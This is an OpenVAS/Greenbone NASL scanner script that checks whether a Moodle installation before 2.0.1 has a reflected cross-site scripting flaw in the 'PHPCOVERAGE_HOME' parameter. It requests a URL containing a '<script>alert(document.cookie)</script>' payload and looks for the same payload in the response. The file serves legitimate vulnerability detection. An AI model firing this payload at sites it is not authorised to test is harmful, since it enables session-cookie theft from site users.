Moodle 'PHPCOVERAGE_HOME' Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only


if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103056");
  script_version("2023-10-27T05:05:28+0000");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2011-02-02 13:26:27 +0100 (Wed, 02 Feb 2011)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("Moodle 'PHPCOVERAGE_HOME' Cross Site Scripting Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/46085");
  script_xref(name:"URL", value:"http://www.moodle.org");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("gb_moodle_cms_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("moodle/detected");
  script_tag(name:"summary", value:"Moodle is prone to a cross-site scripting vulnerability because it
  fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"Exploiting this vulnerability may allow an attacker to perform cross-
  site scripting attacks on unsuspecting users in the context of the
  affected website. As a result, the attacker may be able to steal cookie-
  based authentication credentials and to launch other attacks.");

  script_tag(name:"affected", value:"Versions prior to Moodle 2.0.1 are vulnerable.");
  script_tag(name:"solution", value:"Upgrade to the latest version.");
  script_tag(name:"solution_type", value:"VendorFix");
  exit(0);
}

CPE = "cpe:/a:moodle:moodle";

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE)) exit(0);
if(!dir = get_app_location(cpe:CPE, port:port)) exit(0);

if(dir == "/") dir = "";

url = string(dir,"/lib/spikephpcoverage/src/phpcoverage.remote.top.inc.php?PHPCOVERAGE_HOME=<script>alert(document.cookie)</script>");

if(http_vuln_check(port:port, url:url, pattern:"<script>alert\(document.cookie\)</script>", check_header:TRUE, extra_check:make_list("ERROR: Could not locate PHPCOVERAGE_HOME"))) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);